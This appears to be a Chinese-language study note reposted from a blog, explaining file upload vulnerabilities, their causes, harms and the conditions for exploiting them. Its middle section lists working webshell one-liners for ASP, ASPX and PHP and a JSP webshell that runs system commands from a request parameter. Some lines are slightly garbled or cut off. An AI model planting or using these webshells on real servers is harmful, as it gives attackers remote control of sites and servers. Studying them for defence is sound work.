GCsec学习(3)
作者:互联网
目录
文件上传
文件上传漏洞
简介:现代互联网的Web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序(WebShell)上传到服务器中,获得网站的权限,然后可以进一步对服务器进行入侵,扩大控制权限。
漏洞产生原因:
上传文件时,如果服务器端没有对客户端上传的文件进行严格的检验或过滤,就容易造成可上传任意文件的情况,包括上传脚本文件(asp,aspx,php,jsp)
漏洞的危害:
非法用户可以利用上传的脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
- ASP
<%eval request("x")%>//密码是‘x’
<%execute request("x")%>
- ASPX
<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>
- PHP
<?php eval($_POST['x'])?> //比较标准的用法;不一定是post,也可以是get
<?php assert($_POST['x'];?)> //php版本>7时不能用了
- JSP CMD WebShall
<%
if("x".equals(request.getParameter("pwd")))
{
java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInp
int a=-1;
byte[] b=new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
}
%>
*文件上传漏洞的条件
首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径
其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法使得Web容器解释这个脚本,那么也就不能被称之为漏洞
最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,也可能导致攻击不成功
标签:脚本,Web,GCsec,文件,WebShell,学习,漏洞,上传 来源: https://www.cnblogs.com/oekf/p/16557798.html